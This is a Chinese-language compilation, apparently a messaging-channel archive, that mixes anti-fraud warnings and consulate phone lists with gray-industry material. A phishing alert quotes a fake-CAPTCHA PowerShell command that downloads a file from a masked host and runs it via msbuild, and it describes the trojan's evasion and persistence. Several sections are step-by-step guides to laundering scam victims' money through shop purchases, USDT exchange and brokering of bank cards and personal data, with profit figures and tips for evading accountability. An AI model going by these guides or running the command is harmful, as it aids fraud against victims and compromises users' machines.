防备：数字货币暗藏的危险灰色产业链隐患

许多隐蔽的利益链条正悄然运转。
或许你正在寻觅一种门槛低且契合自身条件的创收途径，然而伴随着分布式账本技术的广泛渗透，数字资产市场已演变为违法团伙频繁作案的高危地带。🖼️

犯罪团伙借助该资产体系缺乏中央管控与身份隐匿的特性，构筑起错综复杂的欺骗网。以下几种典型骗局尤需留意：🖼️

首先，伪造代币赠送与恶意跳转网址。
不法之徒往往打着免费派发加密资产的幌子，诱使目标群体点击陌生网址或安装来路不明的钱包软件。此举真实意图在于骗取个人密钥与恢复短语，只要完成签字确认，数字资产便会顷刻被盗取殆尽。📰

其次，营造高收益假象的交友诱导盘。
犯罪分子借由即时通讯工具打造虚构的优质投资者人设，怂恿对方入驻非正规平台开展看似毫无风险的理财活动。起初通过小笔回款博取好感，待受害人追加巨额本金后，运营方便借口种种故障阻碍资金赎回，最终彻底销声匿迹。🖼️

再次，伪装成数字资产的层级返利模式。
此类玩法鼓动参与者不断拓展下级成员以获取提成。这不但触碰了非法集资与层级推广的法律红线，更属于典型的资金拆东墙补西墙游戏，新血补给一旦中断，整个架构将立刻崩塌。🤩

安全提醒：承诺稳赚不赔的宣传纯粹是吸引眼球的把戏。
广大网友应严格妥善保管个人验证信息，切勿盲从社交媒体散布的理财话术，遇到可疑站点应立即切断往来并予以揭发。必须清醒认识到：凡是要求你先汇款或者开放权限才能获利的操作，背后无非是明目张胆的侵占行为。🫵

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洗钱行业的常见名词解释 常见料判定标准图

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⚠️ 关于新型钓鱼的预警 ⚠️

大概简述
(网址是模仿谷歌会议)，打开之后(模仿CF人机验证)，此时浏览器会默认复制如下内容：

powershell -c "iwr https://*****.com/x.proj -o C:\ProgramData\s.proj; & $env:windirMicrosoft.NET\Framework64\v4.0.30319\msbuild.exe C:\ProgramData\s.proj"

网页大概内容是把复制的这些在终端运行获取验证码过人机验证，但是如果你真这样做了，恭喜你，你电脑已经是他的玩物了。

关于这个病毒样本我简单分析了下，大概流程如下：

🟢使用合法的MSBuild项目文件格式伪装，绕过基础文件类型检查
🟢利用微软官方XML命名空间增加可信度
🟢通过MSBuild执行链调用PowerShell，规避进程监控
🟢使用cmd /c嵌套调用实现命令混淆，随后把落地木马添加到Defender(windows自带杀软)白名单，延迟76秒运行来规避其他杀软扫描，最后根据运行木马的当前权限执行不同的后续操作，如果是管理员则执行计划任务来达到定时运行，电脑重启自动运行等，如果非管理员则执行UAC提权等操作再进行权限维持等操作，后续就是木马该有的一些操作了，不过值得一提的是貌似该木马的制作人是老毛子，木马有部分俄语提示：

Попытка $attempt из $maxAttempts...

任何人让你访问任何未知的网址都要谨慎
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🚔 反绑架大队：
☎️ +63-2-7247366（英语）
☎️ +63-927-904-6155（普通话）
🚑 急救电话：911
🇨🇳 中国驻菲律宾使馆领保：
☎️ +63-2-8231103
🇨🇳 中国驻宿务总领馆领保：
☎️ +63-32-3430008

2️⃣ 柬埔寨 Cambodia 指南如下
🚔 报警电话：117
🚑 救护电话：119
🇨🇳 中国驻柬埔寨使馆领保：
☎️ 012-901-923
☎️ 012-901-937

3️⃣ 缅甸 Myanmar 指南如下
🚔 报警电话：199
🚑 医疗急救：192
🇨🇳 中国驻缅甸使馆领保：
☎️ +95-943209657
🇨🇳 中国驻曼德勒总领馆领保：
☎️ +95-9259172726

4️⃣ 泰国 Thailand 指南如下
🇨🇳 中国驻泰国使馆领事保护：
☎️ +66-2-245-7010
📄 证件大厅：
☎️ +66-2-245-0888
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5️⃣ 马来西亚 Malaysia 指南如下
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☎️ +60-3-2163-6853
☎️ +60-3-2164-5301
📄 领事证件：
☎️ +60-3-2164-5250
📧 chinaemb_my@mfa.gov.cn

6️⃣ 老挝 Laos 指南如下
🇨🇳 中国驻老挝大使馆：
☎️ +856-21-315100
📧 chinaemb_la@mfa.gov.cn

7️⃣ 斯里兰卡 Sri Lanka 指南如下
🇨🇳 中国驻斯里兰卡大使馆：
☎️ +94-11-2688610
📧 chinaemb_lk@mfa.gov.cn

8️⃣ 阿联酋 UAE 指南如下
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🇨🇳 中国驻迪拜总领馆领保：
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☎️ +86-10-12308
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😃 洗钱者的伎俩

“广告公司、咨询公司、饭店、超市、酒吧、宾馆、洗浴中心和夜总会等集中花现金的经营场所，都是洗钱的好地方。

这些行业的共同点是，拥有充裕的现金流，成本可大可小难以查证，且有自己的银行账号可以提现。无论是‘黑钱’还是公款，大多通过用支票付账后提现。从表面看，这些都是正常的经营，毫无特殊之处。但通过一进一出，支票就变成了现金，从公家或者不明账户流进个人腰包。”调查中，一位税务专家如是说。

中央财经大学课题组的调查印证了这一点。通过对金融机构工作人员反馈的调查问卷进行统计可发现，目前洗钱的主要领域集中在实业经济中。通过证券期货业途径洗钱的严重程度要略高于银行业。

“一般服务性企业大多会配合洗钱，反正雁过拔毛，只要钱从账上过一道，客户满意了，自己的回扣也不菲。比如，现在有些人专门开洗浴中心和夜总会来洗钱，有很多广告公司都在做洗钱，有些还以洗钱为主业。”一家广告公司的老总说，他们的客户中有相当一部分是国有企业。特别是卷烟厂、电信公司和电力企业。这些企业效益好，一次性洗一两百万的钱很平常。他们如果要洗一笔钱，会与广告公司签下一份广告合同，合同上注明这笔钱用于该企业开新闻发布会，而这个新闻发布会根本是子虚乌有。之后，企业会把支票打到广告公司进行套现，并得到广告公司的正规发票。作为回报，广告公司一般会获得合同款20%的“活动费”。

证券期货领域洗钱的手段也是多种多样。在调查中遇到的一个例子是通过期货交易洗钱。刘先生是东北地区某市的粮食经销商，他与当地银行等金融机构建立了广泛的联系，又在河南某地开设了独立的子公司。他在东北开出没有真实交易的汇票到河南贴现，随后将贴现资金转投到郑州和大连的期货交易账户上，通过期货账户转化为自己的收入。在期货交易中，他主要采用“分仓”手段。从一个分仓交易席位账户抛出，账户出现亏损;从另外一个交易席位账户秘密买入，形成盈利，从而将骗取的银行资金通过期货交易实现合法化。最后，名义账户亏损，无力偿还银行债务，形成银行不良债权。

“保险洗钱最主要的方式是所谓的‘长险短做’和‘团险个做’。”一家保险公司的资深人士揭示了利用保险洗钱的手法。“长险短做”就是通过购买高额长期寿险，先一次性缴纳全部保费，保险合同成立后过了很短时间就要求退保，按保单的现金价值拿回资金，以此完成洗钱过程。由于我国规定一个人可以同时购买多份保单，洗钱者可以通过这种方法一次性漂白大量“黑钱”，并可以要求保险公司将退保金打到与投保时不同的账户，有的甚至要求直接用现金退保。

目前一些国有企业的管理人员还通过“团险个做”方式侵吞国有财产。上述人士介绍：“保险公司与企业合作一般采取‘团单个做’加‘现金退保’的方式。具体的操作过程是，企业先以单位名义用支票购买保单，将巨额资金分散到几十个甚至上百个员工名下。多数情况下，普通员工对投保一事并不知情。很多时候钱就直接进了高管自己的腰包。”

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前言：
关于洗钱的方式是蛮多的，有时候人为了搞钱，什么都能想到。
常见的用鱼的账号买货，找人出货，或者直接还到贷款平台等等，这根据料性来做。

利用商家的收款方式来买货洗钱，具体流程：

1. 首先准备一个微信小号(建议买一个也不贵1.2百块)，然后扫街找手机店铺，现在实体门店门头上都有电话号码通过微信加老板好友，通过之后表明自己有购买手机意向。

2. 加上之后问老板有没有现货，有的话自己准备订一台今天就要，商量好价格，型号就可以准备付款。

3. 表示自己微信已经限额，能不能用网银给老板转账，或是说让爸爸妈妈爷爷奶奶转账付款，老板同意且提供完银行卡账号之后联系我，你这边上压，比如一台15promax手机在一万元，你这边上压给我7500元就可(只收u),多余的2500元就是你的利润

4. 进算，我这边付完款之后会提供回执，与老板确定是否已收到货款，收到货款则表示交易结束(你的押金我拿走，我方付款买的手机你自行处理）

5. 接下来找跑腿帮自己去店里取手机，建议让跑腿小哥送在偏僻无监控路段交付给自己，收来的手机直接转卖(例如苹果15pm，7500收.9500卖)一单还有2000左右利润，亲测成单率百50%，认真做一天5k收入打底！

6.不止可以倒卖手机，名烟名酒、黄金、奢侈品、油卡购物卡、及一切可以消费出去的物品，无硬性要求做单简单！

金额一般只会是整数金额，，比如你去买黄金，去买手机，总金额10200多，你交200的定金，给你打一万！！别人打10万的订单，最多准备5000多的定金！

当然也可以用别的理由，比如要换现金，找老板要收款码，然后鱼把钱打到他的账号里，你给老板一点手续费，但这种一般是打一个地方就换，如果是小金额的，料性不严重也不太会查。

还有之前数字人民币，去各大购物商场，买礼品卡，酒，反正值钱又好出的东西，用鱼的码，直接在柜台扫，这种也有不少团队赚了一波。

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😀 灰产行业背后的操作模式

（一）承兑：
所谓的承兑就是U和Cny之间的兑换，也就是常说的买卖USDT，那么承兑是怎么个流程呢，中间又有什么细节需要注意呢？以下人民币简称为R

1、先来说说R收U，就是你给R别人，别人给U你，当然大家都知道R资金来路不明，可能有风险，这中间的利润就是比市场低的汇率把U收来，再高价卖出去，差价就是利润，先来说说站在你自己的角度做这个生意；

2、在做这个生意之前需要想清楚别人的需求，别人低价愿意出U的目的是什么，就是获得R，那么这个R肯定是干净的R别人才愿意来卖这个U，你自己的R是干净的还是脏的你自己清楚，你要想做这个生意就可以满足大多数人的需求，肯定是出干净的R给别人，那么这个市场就有你的一个空间；这个肯定是无风险的对吧，当然尽量还是不要用自己的付款账户，避免追责；

3、再来说说出U，也是站在你的角度来讲，你来做这个生意，就是需要收别人R你再把U出给别人，那么不同的是别人的R你无法把控是干净钱，此时别人的付款方式你就可以来降低风险；

4、先来说说微信支付宝，大家都知道微信支付宝转账或者扫码是可以卡付，余额付，零钱通/余额宝付款的，那么三种的区别在哪里，有什么风险；

5、卡付很好理解是银行卡里的钱，这种付款方式是可以把它当作“鱼”的钱，毕竟跑分料最多就是银行卡转账或者通过三方入款，这种基本不作为承兑的入款方式；

6、余额付款指的就是三方入款，并不属于银行的钱，但是和各大银行都合作了，因为可以互相充值提现嘛，余额付款根据你的码商来定要不要作为付款方式承兑，因为别人的R始终是无法把控的；

7、再来说说余额宝零钱通，余额宝是一种货币市场基金，它由中国天弘基金管理有限公司进行管理，余额宝的资金通常投资于多种货币市场工具，如短期国债、银行存款等；余额宝是一种货币基金，其资产并不由特定的银行持有，而是由专业的基金管理公司进行管理和投资，零钱通的钱是属于一种数字钱包，不是特定的银行，那么这两种钱，特别是基金公司的钱，你觉得是不是更加干净，市面上的承兑的入款方式这两种最为多；

8、现存是什么，就是带着现金去ATM存进你的卡中，这种入款方式一般承兑要求录制视频说什么自愿购买虚拟币，这是因为以防后续连带追责，你作为承兑商，新用户的现存你都是不轻易接的，因为有的车队取现和现存是在同一个ATM机上，但是现存使用现金存款，相对来说很干净，但是现在很多车队取钱和存钱都在同一个ATM上，所以对承兑来说风险很大；

9、卡转就不说了哈，支微和现存换汇是作为承兑市场来说交易量最大的，支微也是需要录制删除账单视频，以防别人骚扰码主，投诉等；

10、为什么承兑有差价利润，你低价收进来的U再高价出给别人，中间的差价就是你拿，承兑的流水越大你的利润就越高，当然这个是需要本钱大，码商多，因为支付宝微信的风控机制都是存在的，所以市场的承兑就有很大的利润空间，有码商的基本都会投资本钱来做承兑；

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诈骗界最流行的“黑话”

随着各类诈骗特别是电信诈骗的爆发增长，骗子为了规避审查，也创造了诈骗界的黑话，而且每个诈骗行业的黑话还不尽相同。

一、盗刷银行卡
盗刷银行卡，主要是指犯罪分子通过非法手段获取银行卡信息，再通过复制银行卡或者通过网上盗刷。

料：主要指银行卡账号、密码，持卡人身份证号及绑定手机号四大类信息（又称CVV四大件）。

内料：指境内卡的四大件。

外料：指境外卡的四大件。

轨道料：指通过改装POS机得到的银行卡信息，这种信息一般非常精准。

下料：即非法搜集CVV四大件信息。

洗料：即将诈骗资金转账、套现、洗白。洗料这个行业又有很多细分工种，下文会详细说明。

洗拦截料：通过植入木马病毒拦截用户手机验证码完成套现，是洗料的一种方法。

挂马：制作、出租木马病毒。

刷货：指通过复制银行卡的方式来实施盗刷的过程。

A：兄弟，最近手头有料没？

B：刚好搞了一些轨道料，都是内料，正准备找人刷货。

A：刷货多老土啊，还他妈得买设备，而且现在都是芯片卡，也不好刷。我刚好认识一个挂马的，到时给你洗拦截料，方便快捷还安全。

B：诈骗界的技术真是日新月异啊，你不说我还真不知道。看来要跟着大哥混才能赚大钱啊。

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😀 跑分的一整条产业链

卡商在用户手上买下银行卡，有时候会带着用户一起到车队操作地点帮忙把卡里面的钱取出来，卡里的钱出来就称为“卸货”，事成之后一般利润分成为车队＞卡商＞人头；

当然银行卡的种类很多，每张卡的额度和交易笔数和限额也是不一样的，一张银行卡的好坏就是取决于着几点，银行卡进出的流水就代表这张卡能带来多少利润；

很多小伙伴都在问跑分是什么？这里拿“诈骗料”来说，基本灰产当中赚到的钱都称为诈骗，只是看“诈骗”的形式是什么样的；跑分是一整条灰色产业链，每个环节都是必不可少的，缺一不可！

这里受害人被诈骗简称为“鱼”；“鱼”被盘口以某种形式诈骗，盘口此时就会通过“车队”来进行洗钱，因为“鱼”的钱是有风险的，具体是看什么形式被骗，形式来取决于“鱼“报警的速度；此时”车队“和”卡商“在一起，”车队“通过”卡商“带来的银行卡来帮忙收取受害人”鱼“的钱，在通过”人头“或者”pos机”各种方式将钱取出来或者转移到其他的账户上，此时取出来或者转移的钱通过买U或者其他方式来将钱变为干净钱；为什么U是干净钱，U全称是”Tether“公司发行的一种虚拟货币为泰达币（USDT）简称为U；因此虚拟货币不实名，又在区块链上是完全透明的，隐蔽性高且不容易追溯，相对来说就是干净钱，为什么虚拟币这么受欢迎，因为它不仅隐蔽性高不好追溯且和美金基本等值；此时USDT成了灰产行业中盛为流行的虚拟货币；

”鱼“的钱进到”车队“一起的”卡商“提供的银行卡中，此时”车队“就会安排”人头“配合将钱弄出来，（这里方式很多，下期在一一介绍），此时钱出来了就需要”分赃“，盘口和车队按照事先商量的比例来进行分钱，”车队“回一部分钱给盘口(可以是U，可以是RMB），剩下的在分为三份，”车队“、”卡商“、”人头“各拿一份；此时”鱼“的钱就完全变成了干净钱，此时一整条产业链就结束，当然，如果”鱼“醒了就会报警，此时”卡主“的银行卡一般都会司法，此时”卡主“就成了警方的最大嫌疑人对象.

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😀 灰产是什么产业链

1、首先讲讲什么是灰产？
“灰产”指处于法律灰色地带的“恶意注册”和“虚假认证”。 诈骗分子往往能够利用伪装的骗局以假乱真，达到骗取钱财的目的。 同时买卖公民个人信息、手机卡、银行卡、对公账户、工商营业执照、网络社交工具、网络支付账户等违法犯罪行为，为诈骗团伙提供犯罪工具，已成为助推电信网络诈骗犯罪的“黑灰产业”；

2、为什么Tg聚集了这么多灰产人员？
①TG是一款海外社交软件，提倡的就是私密化、自由化交流，可以说私密性非常强，所以已经被国内拦截在外，不允许开放给大陆用户，也就是被国内“墙”了；因此飞机上鱼龙混杂，灰产人员聚集，同时骗子也扎堆起来；

②基本每一款社交软件上都有灰产人员聚集，一个软件加密性越高，灰产人员就很喜欢且发布“诈骗”广告动作光明正大；正因为飞机的加密性高，且是海外的软件，所以已然成为灰产人员聚集最多的地方；

③飞机上全部都是灰产人员吗，当然不是，60%的用户上飞机的初衷都是为了看黄色，30%的用户是为了做业务上来赚钱或者交易；

3、灰产这个产业链到底是怎么形成的？
①灰产的产业链赚的这么多钱到底是从哪里来？这里以诈骗为例；诈骗盘口首先需要“受害人”的详细信息，那么此时信息从哪里来，可能很多受害人都不知道自己的信息是怎么泄露出去的，此时一个收信息的人就出来了，可能是银行，或者贷款机构，亦或者其他的途径，那么此时受害人的信息被卖给诈骗分子，诈骗分子出钱买回来就是为了骗取更多的钱财；骗来的钱大家都知道通过水房洗干净，那么这中间怎么流转的呢？

②受害人—信息—中间人—-受害人信息—诈骗分子—-骗取受害人钱财—-车队，此时一整条产业链走完了，其实就是将受害人的钱财分成了三份或者多份，可能中间会有多个受害人，其实就是需求—供应对应而来，为什么利润这么高，这就是灰产为什么这么多人想加入的原因？

③可能在现实中很多人提到中介就反感，都知道中介掌握的资源很多，信息差比较大，但是灰产行业中的中介信息差更大，你都不知道自己帮别人转接一个电话一小时就能获得几百块钱的收入，你都不知道一张银行卡可以获得几万或者十几万的收入，因此灰产和国内的小白中间就有中介的存在，因为中介和小白中间的信息差非常大，因此很多小白都不知道利润这么大，从而导致上当受骗；

4、再来讲讲灰产行业中怎么样才能赚钱？
①灰产的钱你要怎么赚，你没资源不想付出实名制信息想赚钱，你就适合当灰产人员的中介，当你熟悉会产某个行业的流程后，你会和国内的小白之间产生巨大的信息差，信息差怎么赚钱？

②你手上有国内小白信息，如：银行卡、手机卡、微信、QQ、抖音、IOSID等等，那么你在飞机上很容易找到此类需求者，当然你就成了供应方，你完全可以和需求者进行交易从而获得报酬，这就是灰产之中的中介模式；

③我没资源，不想实名，信息收不到该怎么办？那就是现在说的空手套白狼的模式，为什么飞机这么多家担保，因为你和交易双方互相不认识，加上不实名，双方中的任何一方可能会承担另一方跑路的风险，此时担保中间人就出来了，担保其实就是中介，只不过是交易安全的中介；回到话题，怎么空手套白狼呢？

④中介算是空手套白狼的一种，当时不需要付出太多本金的，现在说的就是付出本金的一种，如：你手上有本金，没有项目，没有资源，那么此时你自己就可以上押担保，想做一种有差价的项目如：跑分；你需要进入两个群，左手群是你以你是车队的名义来上押，右手是你以料主的身份来进群，你没车？好，车队来上押了你是不是有车队，没料？你有车队了料主不是随便找，那么此时你就是中间人进行搬砖；

5、当然搬砖方式不止这一种，有很多种项目，很多种方式可以去搬砖，最重要的是你需要熟悉你这个搬砖的模式，熟悉飞机上的担保模式，不要因为一个小细节葬送自己的钱财，总之想要做灰产某行业，你需要自己熟悉这个行业，不然，吃亏的只能是自己；

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神药诈骗关键词

这是一种接触性诈骗。骗子一般在各大医院附近寻找目标，谎称他认识的专家有治病的神药，待有人上钩后通过各种手段骗取信任，甚至帮忙垫付资金，以便把所有的钱骗光。

马：病人，也是骗子的作案目标。和兼职诈骗里的“肥羊/小白”意思差不多。

抓马：确定目标后，派出人去搭讪、推销神药。

垫蓝：当“马”上钩后，团伙成员会根据被害人穿着打扮、言行举止等情况现场确定诈骗金额。考虑到被害人身上通常不会携带大量现金，此时会出现一个“好心人”为被害人垫付药费，也就是“垫篮”。

小测试

A：看到那个穿白色衬衣的老头了吗，我感觉是个退休干部，应该有钱。

B：这个马不错。人老了都怕死，我看他表情沉重，应该是治疗效果不理想。

A：走吧，去抓马。

B：好的，那3000块钱你先装好，万一他有疑虑，你先垫蓝。取得信任后，我们再慢慢搞他。

这些黑话你都掌握了吗？以后发现有人说这些黑话时，要引起高度重视，因为你很有可能就是骗子眼中的肥羊、小白、马。

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网络赌博关键词

网络赌博是指通过互联网手段（赌博网站、博彩APP、微信群等）进行的赌博活动。由于网络赌博不合法，资金不受法律保护，有很多“出老千”的行为，很多人被骗后往往不敢报警。

菠菜网站：菠菜是博彩的谐音，菠菜网站就是博彩网站的意思，在每年的世界杯期间，菠菜网站往往会比较猖獗。

出千：指在赌博中作弊。

埋雷：在微信红包赌博群中，庄家一般会先宣布规则，比如抢到的红包金额最小的发100元红包，或者红包金额尾数是6的发100元红包。庄家一般会通过外挂软件来控制谁抢到这个红包，这个过程叫埋雷。

猪蹄：猪蹄是主推的谐音，指赌博中介。

小测试

A：老板，我们这搞微信红包群太辛苦了，每天要盯着手机，不如开个菠菜网站吧。

B：我也想开啊，但是咱们连基本的技术都不懂，也没有挂接第三方支付的渠道啊，还是先通过出千这个积累点本钱吧，你多搞联系猪蹄推广一下。

A：哎，但是最近微信群经常被封，腾讯监管越来越严了。

B：出千别他妈紧着一个人，韭菜根都被你们挖了，他们能不举报吗？埋雷注意节奏，宰得疼了就让他抢几个红包安慰一下。

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色情服务/诈骗

随着公安机关严厉打击涉黄犯罪，色情服务也玩起了“互联网+”，很多人通过网络招揽嫖客，甚至是以提供色情服务为名搞连环诈骗。

色粉 ： 通过发布带有色情或色情擦边的内容吸引来的粉丝。

站街 ：和站街女一样，不同的是，这个站街是线上通过技术手段实现的，算是线上的站街女。

号商：专门从事各大社交软件帐号注册，并养号出售的商家。

键盘手：专业“代聊”人员（大部分是男性），假扮美女与人聊天，并负责约见面。

养火花：键盘手站街成功后，与受害人培养感情。

机房：指拥有一定数量键盘手，并为其提供吃住培训一条龙服务的集团，对外一般称公司。

散键盘：指没有在机房工作，独立“代聊”的自由人。

出台：指小姐提供的色情上门、外出服务。

楼凤：指隐匿在自己家里（自有或租住）提供色情服务的女人。

做局：指通过线上、线下手段实施诈骗的团伙。

小测试

A：唉，前天我那个会所又被公安查封了，技师也都散了，生意真是越来越难做。

B：我早就让你转型你不听，我以前会所的小姐全都坐上了楼凤，安全得很。

A：都在家里呆着，生意怎么上门呢？

B：这你就OUT了吧。我这有个机房，以前会所内的那帮男服务员都转型当上了键盘手，每天用各大社交软件站街，客人源源不断。最近很多键盘手又发现了一个新玩法，养好火花后，让客人发红包、交保证金，直接不出台，连小姐的提成都免了。

A：厉害厉害。

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兼职刷单关键词

兼职刷单是当前发案量最大的诈骗类型，骗子通过在网上发布兼职广告招募刷单人员，承诺每刷单成功一次就给付佣金和本金，但往往从第二单开始就以各种理由让你继续交钱购物，而不返还任何资金。

外宣：指专门通过加群、加好友发送兼职广告的人。

小白/肥羊：指看到刷单广告后过来咨询如何刷单的受害者。

主持：指在语音聊天群中专门维持秩序、分配任务的人。

老师：指专门负责外宣人员培训，并为小白解答刷单流程的人。

干饭：指高返利。

稀饭：指低返利。

小测试

A：老板，我们这行可能越来越不好干了，我感觉都快把人骗完了。

B：不要悲观嘛，这不是大学又开学了吗？很多学生都想着兼职赚钱，一大批小白正在生成中。

A：那行，我让外宣多去一些大学生的圈子发布些广告，争取搞几只肥羊。

B：幸福，都是奋斗出来的，加油干吧！

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洗钱基础知识

一个骗子是否成功，不在于他能骗多少钱，而在于他怎么能把骗来的钱洗白装进自己口袋，否则骗再多的钱也没有用。所以洗钱行业在诈骗界的地位非常重要。

水房：专门的洗钱集团。

声佬：水房中专门负责打电话、发信息、邮寄等工作的人，算是业务员。

刷机佬：负责刷POS机，把钱刷到网上结算中心。

接数佬：负责联系“声佬”和“刷机佬”。骗子为了躲避打击，内部分工很精细，而且一般单线联系，不能越级。

卡佬：负责买卖各种银行卡。

车手：通过到ATM机取诈骗所得赃款进而获得提成的人，因通常骑摩托车、电动车等交通工具作案，故称车手。

小测试

A：老板，最近隔壁的水房自从建了几个赌博网站之后，生意很红火。你看我们这边是不是也要跟上形势？

B：这个我知道。赌博网站洗钱虽然安全，但是那帮诈骗佬损失也大，很多人是不愿意走这条路的，我们还是要做好传统业务。最近有没有新招募一批车手？

A：车手倒是有，但是最近大陆银行管得严，卡佬手里的卡比较少，很容易触发预警冻结。

B：那就多找几个卡佬嘛。另外，再多招些声佬，多拓展点业务。我们致力要成为洗钱量最大的水房。

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世界上比较常见的十八种洗钱-罗列如下

一、旅行支票
海关会对于通关者携带的现金要求申报，未申报者超过限制则没收，但不会对携带旅行支票者做金额的限制，重点在于无背书转让给第三者，因为支票被存入银行兑现，最终会回到原发票人的手中。

二、在赌场以代币间接兑换
在赌场中兑换成代币，再将代币直接交付给洗钱的受益人，再由他去将代币兑换回现金，在外可声称在赌场内赌赢的。这样可以避免通过纸钞上的编号直接追查到洗钱的受益人，常用于各国可将代币兑换回现金的职业赌场。由此，别以为那些黑帮老大和贪官污吏真的那么喜欢在赌场里醉生梦死，很多人进去晃一圈就溜号了，其主要目的，无非是洗净自己的非法所得。日本闻名世界的“扒金库”(弹珠机房)，就是类似洗钱的最大玩家，只不过，扒金库已经完全合法化、产业化了。到扒金库玩的人，最终赢钱后也不能直接从扒金库房拿到现金，而只能到对面或旁边的兑换店铺(其实很多就是扒金库房经营的)获取。

三、无记名债券或期货
在日本，很多与世袭官僚渊源颇深的银行或金融机构，往往会时不时地低调发行一些不记名的债权或个人期货(金融)产品，其中尤以“贴现债权”(按照日语字面直译是“折扣债券”)最为出名。该类债权曾经的主要发行方为原长信银行(现在的日本兴业银行、日本长期信用银行和日本债权信用银行等)以及商工中金。银行的高级理财顾问会细心地通知那些“重要客户”，当然，这些金融产品的起卖金额被设置得很高，而发行方也并不希望太多的“社会游资”前来申购，因为，类似产品本来就是非常“小众化”的。举个例子，该债权的最小面额设定为5年期+100万日元，顾客以折扣价的90万日元购入，5年期满后就能拿到面值的100万日元。一旦重要客户申购完这一批产品，也就宣告这些客户完成了一次堂而皇之的洗钱作业。自然，所谓收益高低，对这样的客户其实都不怎么重要。但放眼世界金融市场琳琅满目的金融产品，这种贴现债券的洗钱方式只能说是小菜一碟，甚至有点小儿科了。

四、古董珠宝或具价值收藏品
利用低买高卖的假买卖，将钱以合法的交易方式，洗到目的账号。此方式亦常用于收贿的收钱方式。或购买具价值的古董珠宝或收藏品，再讹称为自家收藏品在市场上放售，一般会购买没有记号的物品，如文物、邮票或历史悠久的名厂乐器。

五、纸上公司的假买卖(空壳公司)
该行为和下面提到的避税天堂有千丝万缕的关联。

六、购买保险
保险产品，早已摆脱了“谋求保障、出事索赔”的传统观念。几乎所有市场化运作的保险公司，都会推出高于当地银行存款利率的保险理财产品，并逐年分红返利;因此，购买大额保险，不失为一种牢靠安稳的洗钱方式。将大笔现金，为了不过分吸引眼球，第一次投保后，还可以不断提升保金，慢慢修改保险计划，待一定年数后取回，届时可疑的因素便会逐渐淡化直至消失。

七、基金会
1.不良政客，成立基金会，假捐赠给基金会，诱骗企业捐款，再掏空变为自己的囊中之物。
2.企业或财团，利用假捐赠给自己能掌控的基金会，左手搬钱到右手，逃漏所得税。
3.政客或企业利用赈灾名义募款，可是募到的善款私自挪用，或用各种名目扣押善款于私人户头。
4.在跨国洗钱活动中，在各地不同慈善名义的基金会中互相转换款额。
因此，众多富豪和大腕对基金会趋之若鹜，并非仅仅出于良心发现。

八、跨国多次转汇与结清旧账户
利用转汇的相关单据有保存期限的漏洞而进行的洗钱活动。

九、直接跨国搬运
利用专机或具有海关免验的身份者，直接把钱搬到外国，常用100美元的纸钞方式运送。

这种方法最常见于海岸线较长的国家和地区，比如：美国和加勒比海之间，欧洲和原独联体成员国之间，日本和韩朝之间，大陆南方沿海和港台之间，等等。

十、人头账户
在日本的尼日利亚裔诈骗犯的金融诈骗案中得到集中体现，也就是说，在提款地银行找到一大批不知内情的“人头”对象，付给极其低廉的费用后，用他们的名义开设很多账户;定期地将赃款分别来往于这些账户，最终达到洗净赃款的目的。

十一、外币活存账户
使用多次小额存款的方式存入，再到外国提领外币。俗称“蚂蚁搬砖”，常配合“人头账户”使用。

十二、跨国交易
常见于无实体商品的产业。利用交易金额造假灌水的方式，先通过合法的方式将金钱汇往外国掮客的账户，在由外国账户去按照事先预定分发到位。整个流程中包含：原本的交易金额、掮客的佣金、与原本要洗出去的钱。

或者，利用各地的商品贸易，例如以高单价购买普通消费品，将大量款项汇到国外账户，充作支付买货款项。反之亦可将商品高价出售，让国外的洗钱伙伴将款项汇进国内。

十三、地下汇兑(地下银行、地下钱庄)
常见于不良珠宝金饰银楼。除了非法兑换外币以外，甚至可将现金兑换为外国的无记名与背书的支票，供客户至外国的账户存入。世界上有的地区，该业务已被半公开化，比如香港。

十四、跨国企业的资金调度
常见于金融业、银行或保险业等，常以大批的现金纸钞进行跨国搬运。例如以麻绳捆绑、纸箱方式搬运。

十五、百货公司的礼券
具有高度的流通性，但由于具有不易兑换回现金的特性，故需有一定的人脉，才方便消化礼券。例如转卖给各公司的员工福利委员会，将礼券作为其各公司员工的三节奖金方式发放。就这样把礼券洗到不知情的第三者手中，原礼券持有人则取回约等值的现金。

百货公司商品丰富多彩，礼券的使用选择余地较大。在日本和中国台湾等地，利用百货公司礼券进行贿赂和洗钱已经不是什么新鲜事了。

十六、人头炒楼
使用人头购买房地产，向建商或地主以市价5~7折价买入，以现金支付。然后在短期内快速脱手(例如预售屋在交屋前)，获利约50%~100%。

十七、假借贷
常用于收贿或贪污，受贿者或接收人持有对方(行贿人等)开立的远期兑现的本票或支票，即使最终被检查或税务机构查到这张本票或支票，也可声称为借贷关系。等风声一过或受贿人员不在其位、与行贿方没有明显的利害对价关系时，再把本票或支票转手给第三者，或是扎进银行兑现。开立本票或支票，只要没有兑现就无法形成事实上的受贿或接收的行为。

十八、伪币或伪钞
将伪币或伪钞，通过多次小金额的消费行为，或是利用自动贩卖机找零行为，或是纸钞兑换成硬币的机器，将伪币或伪钞洗成真钱。

事实上，以上罗列的十八种洗钱方式，仍然无法涵盖当前世界范围洗钱的无穷奥妙和机关。经济全球化和互联网在各个行业的无限渗透，造成洗钱行为的运作无孔不入、易如反掌，善于玩转洗钱手法的群体，也很少有生搬硬套地去一条一条照本实施的。绝大多数情形下，洗钱是个综合性的“技术活”，很少“留底备份”。在强调证据的现代法律体系下，要切切实实地抓住洗钱对象的把柄，很多时候单个案件所花费的行政成本要远远高于涉案金额本身。

同时，不得不强调的一点是：自从诞生了现代金融业，世界上真正把“洗钱”玩到极致的，绝对不是上述所说的那些犯罪集团、黑社会组织或贪官污吏;有时候，整个意识形态集团的利益代言人、整个社团、整个国家、国家联盟等，都会有意无意地加入到现代洗钱的队伍中来，真所谓“没有永远的敌人(或朋友)，唯有永远的利益”。

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中国大陆地区的银行卡是什么基本知识

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老杜洗钱系列视频

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电报上领红包做兼职？提现要充值全是假钱包机器人陷阱！

Telegram（电报）上频频出现假冒钱包机器人的诈骗套路。常以“群发假红包”、“兼职项目结算”或“做任务返利”为诱饵吸引用户参与，发放结算佣金到指定的假钱包中。

当用户尝试提现时，再以“缴纳保证金”、“补充手续费”或“账号解冻”为由拒绝提现，诱导用户不断充值。

像 OKPay、福利来 等知名平台，目前均遭到了骗子的深度模仿与挂羊头卖狗肉式的抄袭。

许多受害者因轻信群聊推荐或误搜到假账号而血本无归。无论金额大小，一旦被骗，不仅损失个人财产，更是助长骗子的嚣张气焰！

凡是“充值才能提现”一律是诈骗
正规钱包绝不会要求用户通过二次充值来解冻或提现资金。任何需要先交钱才能拿回钱的逻辑，100%是诈骗。

